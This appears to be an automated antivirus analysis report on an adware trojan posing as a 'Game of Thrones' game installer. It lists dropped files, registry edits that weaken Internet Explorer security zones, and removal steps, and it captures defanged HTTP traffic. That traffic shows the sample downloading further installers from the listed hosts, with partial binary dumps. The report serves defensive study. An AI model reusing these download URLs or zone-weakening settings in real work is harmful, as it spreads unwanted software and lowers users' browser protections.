Gen.Variant.Adware.Graftor.188840_a50a0eabd4

Dynamic Analysis

Payload

No specific payload has been found.

Process activity

The Trojan creates the following process(es):No processes have been created.The Trojan injects its code into the following process(es):

cpSetup.exe:1336
tmp2.tmp:1572
%original file name%.exe:1288

Mutexes

The following mutexes were created/opened:

_limiter-wrpr13-dwnldr13-limiter_ShimCacheMutex

File activity

The process cpSetup.exe:1336 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsg6.tmp (23 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\QIPV28PO\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\FYJGUGVC\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IAL6UBHM\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\00047183.a (28 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\0004774f.a (1690 bytes)
%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0LMVK9MF\desktop.ini (67 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg7.tmp\34b4227a-acf6-4d98-afbf-519da068a2a0.dll (784 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsg7.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsg5.tmp (0 bytes)

The process tmp2.tmp:1572 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\BgWorker.dll (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\NSISdl.dll (14 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\nsDialogs.dll (9 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\cpSetup.exe (5977 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\nsArray.dll (6 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\217711039 (2 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\System.dll (11 bytes)

The Trojan deletes the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp (0 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\nsf3.tmp (0 bytes)

The process %original file name%.exe:1288 makes changes in the file system.

The Trojan creates and/or writes to the following file(s):

%Documents and Settings%\%current user%\Local Settings\Temp\tmp1.tmp (15803 bytes)
%Documents and Settings%\%current user%\Local Settings\Temp\tmp2.tmp (13602 bytes)

Registry activity

The process cpSetup.exe:1336 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Directory" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path4]
"CacheLimit" = "65452"
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache4"

[HKCU\Software\Microsoft\Windows\ShellNoRoam\MUICache]
"@xpsp3res.dll,-20001" = "Diagnose Connection Problems..."

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cookies" = "%Documents and Settings%\%current user%\Cookies"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache2"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"Cache" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path2]
"CacheLimit" = "65452"

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4D 9D 2E D9 6B 53 6B D9 A5 35 BF 3F E1 9C D1 C7"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path1]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache1"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CacheLimit" = "65452"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths\path3]
"CachePath" = "%Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\Cache3"

[HKLM\SOFTWARE\Microsoft\Windows\CurrentVersion\Internet Settings\Cache\Paths]
"Paths" = "4"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders]
"History" = "%Documents and Settings%\%current user%\Local Settings\History"

The Trojan modifies IE settings for security zones to map all local web-nodes with no dots which do not refer to any zone to the Intranet Zone:

[HKCU\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap]
"UNCAsIntranet" = "1"

The Trojan modifies IE settings for security zones to map all web-nodes that bypassing the proxy to the Intranet Zone:

"ProxyBypass" = "1"

The Trojan modifies IE settings for security zones to map all urls to the Intranet Zone:

"IntranetName" = "1"

The process tmp2.tmp:1572 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "8F 48 6F 7E F6 C4 0C F9 8E 66 FA BD 75 1D 0A 3A"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd73-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd72-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{b98117e8-75ca-11e2-81b2-000c293708fb}]
"BaseClass" = "Drive"

[HKCU\Software\Microsoft\Windows\CurrentVersion\Explorer\MountPoints2\{c155cd75-744b-11e2-8294-806d6172696f}]
"BaseClass" = "Drive"

The process %original file name%.exe:1288 makes changes in the system registry.

The Trojan creates and/or sets the following values in system registry:

[HKLM\SOFTWARE\Microsoft\Cryptography\RNG]
"Seed" = "4D 93 56 34 CE 71 2A 1B F3 15 C2 9F 13 70 6E AA"

Dropped PE files

HOSTS file anomalies

No changes have been detected.

Rootkit activity

No anomalies have been detected.

Propagation

Removals

Remove it with Ad-Aware

1. Click (here) to download and install Ad-Aware Free Antivirus.
2. Update the definition files.
3. Run a full scan of your computer.

Manual removal*

1. Terminate malicious process(es) (How to End a Process With the Task Manager):No processes have been created.
2. Delete the original Trojan file.
   
3. Delete or disinfect the following files created/modified by the Trojan:

   %Documents and Settings%\%current user%\Local Settings\Temp\nsg6.tmp (23 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\QIPV28PO\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\FYJGUGVC\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\IAL6UBHM\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\00047183.a (28 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\0004774f.a (1690 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temporary Internet Files\Content.IE5\0LMVK9MF\desktop.ini (67 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsg7.tmp\34b4227a-acf6-4d98-afbf-519da068a2a0.dll (784 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\BgWorker.dll (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\NSISdl.dll (14 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\nsDialogs.dll (9 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\cpSetup.exe (5977 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\nsArray.dll (6 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\217711039 (2 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\nsf4.tmp\System.dll (11 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\tmp1.tmp (15803 bytes)
   %Documents and Settings%\%current user%\Local Settings\Temp\tmp2.tmp (13602 bytes)

4. Clean the Temporary Internet Files folder, which may contain infected files (How to clean Temporary Internet Files folder).
   
5. Reboot the computer.
   

Static Analysis

VersionInfo

Company Name:
Product Name: Game of Thrones A Telltale Games Series
Product Version:
Legal Copyright:
Legal Trademarks:
Original Filename:
Internal Name:
File Version:
File Description: Game of Thrones A Telltale Games Series Setup
Comments: This installation was built with Inno Setup.
Language: English (United States)

Company Name: Product Name: Game of Thrones A Telltale Games Series Product Version: Legal Copyright: Legal Trademarks: Original Filename: Internal Name: File Version: File Description: Game of Thrones A Telltale Games Series Setup Comments: This installation was built with Inno Setup.Language: English (United States)

PE Sections

Dropped from:

Downloaded by:

Similar by SSDeep:

Similar by Lavasoft Polymorphic Checker:

Network Activity

URLs

IDS verdicts (Suricata alerts: Emerging Threats ET ruleset)

Traffic

POST hXXp://up.int-ic-2.xyz/installer.php?affId=1006&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&trackingId=946801&cc=UA HTTP/1.1

Host: up.int-ic-2.xyz

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3

Content-Type: application/x-www-form-urlencoded

id[]=29&id[]=34&id[]=35&id[]=36&id[]=37&id[]=38&id[]=39&id[]=40&id[]=41&id[]=42&id[]=43&id[]=44&id[]=45&id[]=46&id[]=47&id[]=48&id[]=49&id[]=50&id[]=51&id[]=52&id[]=53&id[]=54&id[]=55&id[]=56&id[]=57

HTTP/1.1 403 Forbidden

Server: CloudFront

Date: Sun, 16 Aug 2015 22:35:35 GMT

Content-Type: text/html

Content-Length: 689

Connection: close

X-Cache: Error from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: vV_vzXEPTlHUK4phGOSDhl2lqpO1D--1tU0HflQoG3L6l5JLNNT0dQ==

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://VVV.w3.org/TR/html4/loose.dtd">.<HTML><HEAD><META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=iso-8859-1">.<TITLE>ERROR: The request could not be satisfied</TITLE>.</HEAD><BODY>.<H1>ERROR</H1>.<H2>The request could not be satisfied.</H2>.<HR noshade size="1px">.This distribution is not configured to allow the HTTP request method that was used for this request. The distribution supports only cachable requests..<BR clear="all">.<HR noshade size="1px">.<PRE>.Generated by cloudfront (CloudFront).Request ID: vV_vzXEPTlHUK4phGOSDhl2lqpO1D--1tU0HflQoG3L6l5JLNNT0dQ==.</PRE>.<ADDRESS>.</ADDRESS>.</BODY></HTML>..

GET /?affId=1006&appTitle=Game%20of%20Thrones%20A%20Telltale%20Gam&s1=1453&s2=4219214&setupName=cpSetup&appVersion=2.92&instId=11 HTTP/1.0

Host: get.cp-retr.xyz

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: application/octet-stream

Content-Length: 52214

Connection: close

Server: Microsoft-IIS/8.5

X-Powered-By: PHP/5.3.28

Content-Transfer-Encoding: Binary

Content-Disposition: attachment; filename="cpSetup.exe"

Date: Sun, 16 Aug 2015 22:35:32 GMT

X-Cache: Miss from cloudfront

Via: 1.1 3abf650c7bf73e47515000bddf3f05c0.cloudfront.net (CloudFront)

X-Amz-Cf-Id: 0iT1FQg4MQI7SrnX7yavLyIj3YRcpa3HlI9lJpdN2ztuoEGlgDkjVw==

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......1..:u..iu..iu..i...iw..iu..i...i...id..i!..i...i...it..iRichu..i........................PE..L......K.................\..........<2.......p....@..........................................................................s...........,...........................................................................p...............................text...ZZ.......\.................. ..`.rdata.......p.......`..............@..@.data................r..............@....ndata.......@...........................rsrc....,...........v..............@..@........................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....>B..H.P.u..u..u...Hr@..B...SV.5.>B..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h.6B.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...>B...Si.....VW.T.....tO.q.3.;5.>B.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.>B.r._^[..

<<< skipped >>>

GET /stub_maker.php?program=sevenzip&tid=4219214&pid=1453&b_typ=pe&reb=1&name=Game of Thrones A Telltale Gam&t=first&truename=/InstallerSetup.exe HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0

Host: dl.fripp54.xyz

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Content-Type: application/force-download

Content-Length: 86007

Connection: keep-alive

Server: Microsoft-IIS/7.5

X-Powered-By: PHP/5.3.28

Content-Disposition: attachment; filename="55d110120333b.exe"

X-Powered-By: ASP.NET

Date: Sun, 16 Aug 2015 22:34:58 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: -preQCd1g0oS2GhOlofGqaAD-gLWSs4F5x29d-fsIDTUXixHYFFN4w==

MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......<...x...x...x.......z...x...........i...,...t.......y...Richx...................PE..L......K.................\....9......0.......p....@...........................;..............................................s.......p;..@...........................................................................p...............................text...,Z.......\.................. ..`.rdata.......p.......`..............@..@.data.....9..........r..............@....ndata...@...0:..........................rsrc....@...p;..B...v..............@..@................................................................................................................................................................................................................................................................................................................................................................................U....\.}..t .}.F.E.u..H.....&z..H.P.u..u..u...Hr@..B...SV.5.&z..E.WP.u...Lr@..e...E..E.P.u...Pr@..}..e....Dp@........FR..VV..U... M.......M....3.....FQ.....NU..M..........VT..U.....FP..E...............E.P.M...Hp@..E...E.P.E.P.u...Tr@..u....E..9}...w....~X.te.v4..Lp@....E.tU.}.j.W.E......E.......Pp@..vXW..Tp@..u..5Xp@.W...E..E.h ...Pj.h..z.W..Xr@..u.W...u....E.P.u...\r@._^3.[.....L$...&z...Si.....VW.T.....tO.q.3.;5.&z.sB..i......D.......t.G.....t...O..t .....u...3....3...F.....;5.&z.r._^[...U..QQ.U.SV..i.

<<< skipped >>>

GET hXXp://up.int-ic-2.xyz/installer.php?affId=1006&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&trackingId=946801&cc=UA&id[]=29&id[]=34&id[]=35&id[]=36&id[]=37&id[]=38&id[]=39&id[]=40&id[]=41&id[]=42&id[]=43&id[]=44&id[]=45&id[]=46&id[]=47&id[]=48&id[]=49&id[]=50&id[]=51&id[]=52&id[]=53&id[]=54&id[]=55&id[]=56&id[]=57 HTTP/1.1

Host: up.int-ic-2.xyz

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 409128

Connection: close

Server: Microsoft-IIS/8.5

X-Powered-By: PHP/5.3.28

Date: Sun, 16 Aug 2015 22:35:35 GMT

X-Cache: Miss from cloudfront

Via: 1.1 a034346227db119f7e0813186ca2d2c2.cloudfront.net (CloudFront)

X-Amz-Cf-Id: HhVqF1PoOv6pdw0bH_xPlJtu0vuV0RlWF3C8Ucfx8SHfCHEhCw4Q9A==

.$...RB..[...`.M..&..Qz..Tuq!<.*...J..k.um..o.-..m.........)...~.'.(..{. ...:;...?...@R.pb.L .E... ]........^. . ...............4..T.)..G..r@.8.830{0.@.5....3j.d.Y.!.IkA.jg.R.BQ....f.^...8.c8...`z.g..t....%.,...m....wF.X#.{.].3..b..'<..*0.....$'..mU.<.......m.1M......&0.jJ.q..1..3....A~..*...........y\.q%.......|".?.l-.X...^......7A1u....Z.Z{$qA.s.G..J-..........;VL....9..w@z........l...F...o..D.w..^.w@........r?..........u.....1..n1s.."...6.FK..5h$K...$.*0.`..8.T...*7..M...X..c..k...i.E......q-......{...../f...)......!.u.~..............k...f5O.....!..E%1..-.y.....?.B..1....@a.D..h.u.:3!xQu....T?....\..../4...E|.......Y.R........b....u'......|.r.[.=..$...z.r.....L."...|&...^w..D........<...e..dz..J.q......e....I'..(I5.X..k....K......d......#....$.zjK..Yj."....`..Rr........-w...kV.rV...5.IMG.,9...BR.........~...I..........H..c.....!?.-....&.E-.!..]`........V....0...*b4..@>Y....J8..]......OEr...I...W.S..O?.T.D.<*P....F..... ....Nz.&|..)....>.E........`...{-.}.f.JAb...m..V....(Ah.7.L..!,..{:.76.74.(........G....J.^Qm-........G.....]..Q....p.].xDB...*....kZ....,.&.).D..p...}...U..N~...p.<i. .F.......r.F>...y. ...|...U..3u.g.oX.3......Y..2]#B..0...:>.......9X1....=....w......bX4.8...........a."....B.....G...B..z.^..U~IiP...Ai6...e...^....y.fyE.a.;...AD.U/............`.......4.o3...L.&k..C. ..x...t>$....h.E.'......F5.g,........R...}....w.V..S.S.2x.?.sV..mC..w.~..@..J>.....V....-...@.B|..>I..k.p.C%.......EV..i........9}.......5).Y.w...Q.......t5.Ub{..}........=..1J.8N9F.l.P^.Qm.9

<<< skipped >>>

GET hXXp://capital.go2cloud.org/aff_c?offer_id=4&aff_id=1006&source=11&aff_sub=1453&aff_sub2=4219214&aff_sub3=0&aff_sub4=0&aff_sub5=0&url=http://up.int-ic-2.xyz/offer.php?affId={aff_id}&trackingId=946801&instId=11&ho_trackingid={transaction_id}&cc=UA HTTP/1.1

Host: capital.go2cloud.org

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3

HTTP/1.1 302 Found

Cache-Control: no-cache, no-store, must-revalidate

Content-Type: text/html; charset=iso-8859-1

Date: Sun, 16 Aug 2015 22:35:33 GMT

Expires: Sat, 26 Jul 1997 05:00:00 GMT

Location: hXXp://up.int-ic-2.xyz/offer.php?affId=1006&trackingId=946801&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&cc=UA

P3P: CP="NOI CUR OUR NOR INT"

Pragma: no-cache

Server: nginx/1.7.9

Set-Cookie: enc_aff_session_4=ENC02544-102260d52aad093d3705b52c71bb63-1006-4-0-0-0-0-UA-2-3131-31343533-34323139323134-30-30-30-194.242.96.218-20150816183533-_-2E3C67183E15163661362053421E5E1270591A705557113157501C026D747C6B4849655A237B7A4E55; expires=Tue, 15 Sep 2015 22:35:33 GMT; path=/;

Set-Cookie: ho_mob=eyJtb2JpbGVfZGV2aWNlX29zIjoiRGVza3RvcCIsIm1vYmlsZV9kZXZpY2VfbW9kZWwiOiJGaXJlZm94IiwibW9iaWxlX2RldmljZV9icmFuZCI6Ik1vemlsbGEiLCJtb2JpbGVfYnJvd3NlciI6IkZpcmVmb3ggRGVza3RvcCIsIm1vYmlsZV9icm93c2VyX3ZlcnNpb24iOiIyLjAiLCJtb2JpbGVfY2FycmllciI6Ij8iLCJ1c2VyX2FnZW50IjoiTW96aWxsYS81LjAgKFdpbmRvd3M7IFU7IFdpbmRvd3MgTlQgNS4xOyBGcjsgUnY6MS44LjEuMykgR2Vja28vMjAwNzAzMDkgRmlyZWZveC8yLjAuMC4zIiwiY29ubmVjdGlvbl9zcGVlZCI6ImJyb2FkYmFuZCJ9; expires=Wed, 11 Jul 2018 09:15:33 GMT; path=/;

tracking_id: 102260d52aad093d3705b52c71bb63

X-Robots-Tag: noindex, nofollow

Content-Length: 322

Connection: Close

<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">.<html><head>.<title>302 Found</title>.</head><body>.<h1>Found</h1>.<p>The document has moved <a href="hXXp://up.int-ic-2.xyz/offer.php?affId=1006&trackingId=946801&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&cc=UA">here</a>.</p>.</body></html>...

<<< skipped >>>

GET hXXp://up.int-ic-2.xyz/offer.php?affId=1006&trackingId=946801&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&cc=UA HTTP/1.1

Host: up.int-ic-2.xyz

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3

HTTP/1.1 200 OK

Content-Type: text/html

Content-Length: 28712

Connection: close

Server: Microsoft-IIS/8.5

X-Powered-By: PHP/5.3.28

Date: Sun, 16 Aug 2015 22:35:34 GMT

X-Cache: Miss from cloudfront

Via: 1.1 affe26bf02a36a4a45ea1eb3ce2b4a62.cloudfront.net (CloudFront)

X-Amz-Cf-Id: IxVRNRdWswImN0Nu4jYxQFIz85VCLsLR0C0DAbwxdGJRf2jxoVliNQ==

.....g.Q... C/ _..6..K..e....M.P..^R..m......*.er....2i,...?@.g.z.%....Sp=._.b.@......&n.M... ..Ag1e..y_....6.<|{.WU}.\.......0s....4..1=.....AP.P..C.....D'R.....'....LY.2...N....*........!.d.i.a=.Y......U'QK..d.9.."..nu.?....5.-...?.....C...S:...._...?.[........jL)......G;...\*.....$.C.P.n...b....s..>.. .J...|.2Q..6.....h...`xR.N.u>.f.t....I......n.t.. ....bXt.....e.....t..*....I.n...b..F.txD-=.....~...6`......^.T.%{...r.......2q.1R.) 8}'..B...[j.....-....jS...,.Jh......'.Q..L{...@i...S.m.GL..x.B.D}:..E .B3....5...T.S.2.....o...X..O.[.~..l../.SQ.5......J .........y..=..D&..g.?.\...q~...p.^..=&.........,"..$...'..R.2^nP*....f...D....(.r.:..#.......^~Go...m.f...9.fgE.A...1b.P9.AgV..c.v.......Jt.....b.}.....#..:..xl...6.7..!.akm?.ON.>...K9'/....'..j..Uz1...g..sA@9.(.2a.?....U....y..X...gnq.o...l=.)..FJ.h..H.9.,.0`G.b.[P=...FxXcE.vd2.....G....!...t......L^..........e.....6B..|.|.f.]....3c.../5......A..#fV".........z.0?.....\u...........3...5...zE...7he..i............4.5......h...N"o..-om..k.....?..m.._.h0.f...8.r{...#P....O.0......[...%J.TvO.......&E....w"....{k.hG.}.....[.v.Sb..Av......B..X.dz........|...O6....|Hr...$.....vc............t.i..,.p:.^..S.`y..dRu1.Q!..E...D.u../3..:].d%.....b...... .sgj.9..z.8......o........u.....T..4E...Fn...=.,.n8j...#JNI...K..&^|..q8.F...@....>y.P...A.k~..|gXm.....;..N...\. ..|...5..4....D..) b4~.y.....L,....tC.c.h......k...>...`S.2q..9 !i."...cWE}... ....Wy....K........X5...\.,g.b.8e.D..."..0.8...Q.S..;.f.....).qa.*.u.Z.....q.>....-.^a]....bQ..|.v.wO....eKJHex

<<< skipped >>>

GET /launch_askar.php?p=sevenzip&tid=4219214&pid=1453&n=R2FtZSBvZiBUaHJvbmVzIEEgVGVsbHRhbGUgR2FtZXMgU2VyaWVzIFtieSB4YXRhYl0=&b_typ=pe HTTP/1.1

User-Agent: Mozilla/5.0 (Windows NT 6.3; rv:36.0) Gecko/20100101 Firefox/36.0

Host: fc-rich.space

Connection: Keep-Alive

Cache-Control: no-cache

Pragma: no-cache

HTTP/1.1 200 OK

Date: Sun, 16 Aug 2015 22:35:24 GMT

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

Content-Length: 178

Connection: close

Content-Type: text/html; charset=UTF-8

first:hXXp://dl.fripp54.xyz/stub_maker.php?program=sevenzip&tid=4219214&pid=1453&b_typ=pe&reb=1&name=Game of Thrones A Telltale Gam&t=first&truename=/InstallerSetup.exe..

GET /launch_v5.php?p=sevenzip&pid=1453&tid=4219214&b_typ=pe&n=R2FtZSBvZiBUaHJvbmVzIEEgVGVsbHRhbGUgR2Ft&reb=1 HTTP/1.0

Host: up.int-ic-4.xyz

User-Agent: NSISDL/1.2 (Mozilla)

Accept: */*

HTTP/1.1 200 OK

Content-Type: text/html; charset=UTF-8

Content-Length: 2344

Connection: close

Date: Sun, 16 Aug 2015 22:35:27 GMT

Server: Apache/2.2.15 (CentOS)

X-Powered-By: PHP/5.3.3

X-Cache: Miss from cloudfront

Via: 1.1 8cd0e1b054d4e5083057646da4909e74.cloudfront.net (CloudFront)

X-Amz-Cf-Id: IXCilTPVgtwPDacfNFXCWADUmPz6161WzluG3OQ3fEfozyPCtsYSyA==

files=4.t1=dl.u1=hXXp://get.cp-retr.xyz/?affId=1006&appTitle=Game%20of%20Thrones%20A%20Telltale%20Gam&s1=1453&s2=4219214&setupName=cpSetup&appVersion=2.92&instId=11.n1=cpSetup.exe.b1=cp.c1=sevenzip-1.s1=0.m1=0.d1=0.t2=dl.u2=hXXp://b.byteguardoptic.com/de/?q=YWZmaWxpYXRlX2lkPTE0NTMtNDIxOTIxNCZmaWxlc2l6ZT0yLjRNYiZwdWJsaXNoZXJJZD0yNDQzNyZwcm9kdWN0X25hbWU9R2FtZSUyMG9mJTIwVGhyb25lcyUyMEElMjBUZWxsdGFsZSUyMEdhbSZwcm9kdWN0X3RpdGxlPUdhbWUlMjBvZiUyMFRocm9uZXMlMjBBJTIwVGVsbHRhbGUlMjBHYW0mcHJvZHVjdF9kb3dubG9hZF91cmw9aHR0cCUzYSUyZiUyZmQzcGNjdXAxOXhkYTJ0LmNsb3VkZnJvbnQubmV0JTJmc2V2ZW56aXAtc2V0dXAtcnguZXhlJnByb2R1Y3RfZmlsZV9uYW1lPXNldmVuc2V0dXAuZXhlJmluc3RhbGxlcl9maWxlX25hbWU9c2V0dXA=.n2=sevensetup.exe.b2=rx.c2=sevenzip-1.s2=0.m2=0.d2=0.t3=dl.u3=hXXp://get.file136desktop.info/DownloadManager/Get?p=638&d=544&l=461&n=1&productname=sevenzip&d1=4219214&d2=1453&dynamicname=Game%20of%20Thrones%20A%20Telltale%20Gam.n3=setup-1228.exe.b3=ru.c3=sevenzip-2.s3=0.m3=1.d3=1500.t4=dl.u4=hXXp://VVV.amonisto.org/download.php?version=1.1.5.26&campid=2140&instid[appname]=&instid[appsetupurl]=http://pe-sixi.com/downloadS.php?bu=am&instid[cmdline]=/S&instid[appimageurl]=http://pe-sixi.com/img/icon_installer.png&prefix=Setup&instid[thankyoupage]=.n4=Setup__2140_il256.exe.b4=am.c4=2140-sevenzip.s4=0.m4=0.d4=0.t5=dl.u5=hXXp://stapi.sweetcomet.com/api/stamp/setup.exe?&affiliateid=1780&productname=Game%20of%20Thrones%20A%20Telltale%2520Gam&producturl=http://d3pccup19xda2t.cloudfront.net/sev

<<< skipped >>>

POST hXXp://up.int-ic-3.xyz/installer.php?affId=1006&instId=11&ho_trackingid=102260d52aad093d3705b52c71bb63&trackingId=946801&cc=UA HTTP/1.1

Host: up.int-ic-3.xyz

Connection: close

Accept: */*

User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.1.3) Gecko/20070309 Firefox/2.0.0.3

Content-Type: application/x-www-form-urlencoded

id[]=29&id[]=34&id[]=35&id[]=36&id[]=37&id[]=38&id[]=39&id[]=40&id[]=41&id[]=42&id[]=43&id[]=44&id[]=45&id[]=46&id[]=47&id[]=48&id[]=49&id[]=50&id[]=51&id[]=52&id[]=53&id[]=54&id[]=55&id[]=56&id[]=57

HTTP/1.1 411 Length Required

Content-Type: text/html; charset=us-ascii

Server: Microsoft-HTTPAPI/2.0

Date: Sun, 16 Aug 2015 22:35:35 GMT

Connection: close

Content-Length: 344

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""hXXp://VVV.w3.org/TR/html4/strict.dtd">..<HTML><HEAD><TITLE>Length Required</TITLE>..<META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD>..<BODY><h2>Length Required</h2>..<hr><p>HTTP Error 411. The request must be chunked or have a content length.</p>..</BODY></HTML>....

Map

The Trojan connects to the servers at the folowing location(s):

Strings from Dumps

%original file name%.exe_1288:

.text

.text

`.data

`.data

.rdata

.rdata

P.idata

P.idata

@.edata

@.edata

@.rsrc

@.rsrc

